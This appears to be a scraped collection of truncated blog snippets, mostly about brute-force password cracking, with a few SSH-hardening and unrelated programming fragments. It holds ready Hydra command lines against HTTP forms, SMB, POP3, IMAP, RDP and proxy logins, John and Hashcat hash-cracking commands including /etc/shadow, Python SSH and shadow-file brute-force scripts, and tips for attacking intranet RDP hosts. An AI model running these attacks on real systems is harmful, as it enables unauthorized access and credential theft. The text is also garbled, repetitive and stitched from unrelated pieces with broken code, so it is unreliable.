is pass.lst, the cracked result saved in Ok.lst,-t is the number of simultaneous threads for 1,-f is when cracked a password on stop, IP is local, is the destination IP, Http-post-form means the hack is a form password hack submitted using the Post form of HTTP.The following parameter is the Name property of the corresponding form field in the Web page, and the following
Linux Brute Force hack tool Hydra DetailedFirst, IntroductionNumber one of the biggest security holes is passwords, as every password security study shows. Hydra is a parallized login cracker which supports numerous protocols to attack. New modules is easy-to-add, beside that, it's flexible and very fast.Hydra was tested to compile on Linux, Windows/cygwin, Solaris one, FreeBSD 8.1 and OSX, and is made avai
Python brute force hack password scriptThe following, only for the individual test code, the environment is a test environment, the principle of brute force is the same,Suppose to brute force the login website www.a.com user testuser password,First, the site's login verification to support unlimited password attemptsSu
Install Brute force hack tool# yum Install CMake# CD/USR/LOCAL/SRC# wget http://www.libssh.org/files/0.4/libssh-0.4.8.tar.gz# tar zxf libssh-0.4.8.tar.gz# CD libssh-0.4.8# mkdir Build# CD Build# Cmake-dcmake_install_prefix=/usr-dcmake_build_type=debug-dwith_ssh1=on.# make# make Install#/sbin/ldconfig//To execute this sentence, otherwise it will appear hydra:error while loading shared libraries:libssh.so.4:c
dictionary is pass.lst, the cracked result saved in Ok.lst,-t is the number of simultaneous threads for 1,-f is when cracked a password on stop, IP is local, is the destination IP, Http-post-form means the hack is a form password hack submitted using the Post form of HTTP.The following parameter is the Name property of the corresponding form field in the Web page, and the following
execute the command:# hydra-l admin-p pass.lst-o ok.lst-t 1-f 127.0.0.1 http-post-form "Index.php:name=^user^pwd=^pass^: Description: cracked user name is admin, Password dictionary is pass.lst, the cracked result saved in Ok.lst,-t is the number of simultaneous threads for 1,-f is when cracked a password on stop, IP is local, is the destination IP, Http-post-form means the hack is a form password hack su
password on stop, IP is local, is the destination IP, Http-post-form means the hack is a form password hack submitted using the Post form of HTTP. The following parameter is the Name property of the corresponding form field in the Web page, and the following
Hack https:
10.36. 16.18 HTTPS
Crack TeamSpeak:
HYDRA-L User name-p password
: md5.txt file , MD5 hash without salt )John-format=raw-md5-pot=./wordlist.pot Md5.txtJohn-format=raw-md5-opencl-wordlist=wordlist.lst-rules:single md5.txt ( using GPU to speed up cracking )Hash hackHashcat-m 400-a 0 Hash/root/rockyou.txt cracked HashHack linux passwords" /etc/shadow " "/etc/shadow"-i:digits-user:test1 user1 #遍历模式, All possible scenarios for using combination passwordsParameters: All (0 to 8 characters long) Alpha (all combinations of letters 1 to 8 characters long) Digi
Online to see a security article, the usual collection of Web sites can not be collected, so put here first. The specific function has not been tested , please use it with caution .Here is the original blog reproduced, thank the author hard work:Servers in the Internet, every day there are some people who do not have a job to sweep the port of your machine, so that administrators are very upset. This article describes a method that uses the script described in this article in conjunction with t
Today, we meet a fence code to crack, first introduce the generic script.
Method one (Generic script):
#!/usr/bin/env python #-*-CODING:GBK-*-#-*-coding:utf_-*-e = raw_input (' Please enter the string to decrypt \ n ') Elen = Len (e) field=[] fo R I in range (, Elen): if (elen%i==): field.append (i) to f in field: B = elen/f result = {x: "for x in RA Nge (b)} for I in range (Elen): a = i% B; Result.update ({A:result[a] + e[i]}) d = ' for i in range (b): d =
First , Modify the parameters to make brute force hack almost impossible1. Password settings are complex enoughPassword settings, as far as possible to have capital letters, lowercase letters, special symbols and numbers, the length of at least more than 8, of course, the longer the better, as long as you can remember.2. Modify the default port numberModifying the default port number of the SSHD service c
Wordpress xmlrpc.php brute force hack vulnerabilityWordPress is a very popular open source blog, it provides a way to publish articles remotely, is the use of xmlrpc.php with the path of this file, the recent outbreak of xmlrpc loopholes, the vulnerability principle is through XMLRPC authentication, even if the authentication failed, Also will not be installed by the WordPress security plug-in record, so wi
Here is just a way of thinking, the Fool-style method occasionally will be more affordable.Sometimes, when you are in an Internet café, the computer room is used in the intranet. Generally speaking, the security of the intranet is poor, in those 3389 ports open, there is no Group Policy restrictions, we can use the following methods to hack the other machine inside the intranet.
Scanning intranet network segment opened 3389 of what the machin
crackedSmbService login account number and passwordusing the command:Hydra 127.0.0.1-l root-p p.txt SMB4 crackedPop3Service login account number and passworduse command:hydra-l root-p p.txt my.pop3.mail POP35 crackedImapService login account number and passworduse command:hydra-l root-p p.txt 192.168.1.30 IMAP6 crackedHttp-proxyService login account number and passworduse command:hydra-l root-p p.txt http-proxy://192.168.1.207 crackedRdpService login account number and passworduse command
parsing options
The difference between the = = Symbol and isThe simple difference here is that the is comparison ID is equivalent to comparing the address of two variables, and = = compares the value
ZipFile moduleFirst create a ZipFile object with the zip file you want to crackThen open the dictionary fileCreate a thread for each password in the dictionary extractall operation
Extract all members from the archive to the current working directory. path specifies a different
for month, W for week, Y for year)age_reset_root=25dage_reset_restricted=25dage_reset_invalid=10dReset_on_success = yes #如果一个ip登陆成功后, the failed login count is reset to 0Daemon_log =/var/log/denyhosts #自己的日志文件Daemon_sleep = 30s #当以后台方式运行时, the time interval for each log file read.Daemon_purge = 1h #当以后台方式运行时, the purge mechanism terminates the time interval of the old entry in Hosts_deny, which affects the Purge_deny interval.See my/etc/hosts.deny file found there are 8 records.$ sudo cat/etc/h
Linux series of many operating systems are using MD5 encryption user password, encryption process is one-way, so to crack can only use brute force crack method.Below to share a program to crack the root user password.The program iterates through each password in the dictionary file, matches the password in the/etc/shadow, and returns success if the same.#!/usr/bin/env pythonImport CryptImport SysImport reDIC = [' Cookies ',' Test ',' Fuckyou ']Passwor
= Password.strip ('\ r \ n') the #Print User -t = Threading. Thread (target=ssh,args=(Target_host,user,password)) in T.start () the the if __name__=='__main__': AboutMain ()The test run results are:Python sshconector.py -H 127.0.0.1-u user.txt-3.18.0-kali1-amd64 [+] already connected 1user is: rootpassword is: xxxxxxx[-] Connection failed 1, user or password error! [-] Connection failed 1, user or password error! [-] Connection failed 1, user or password error! [-] Connection fail
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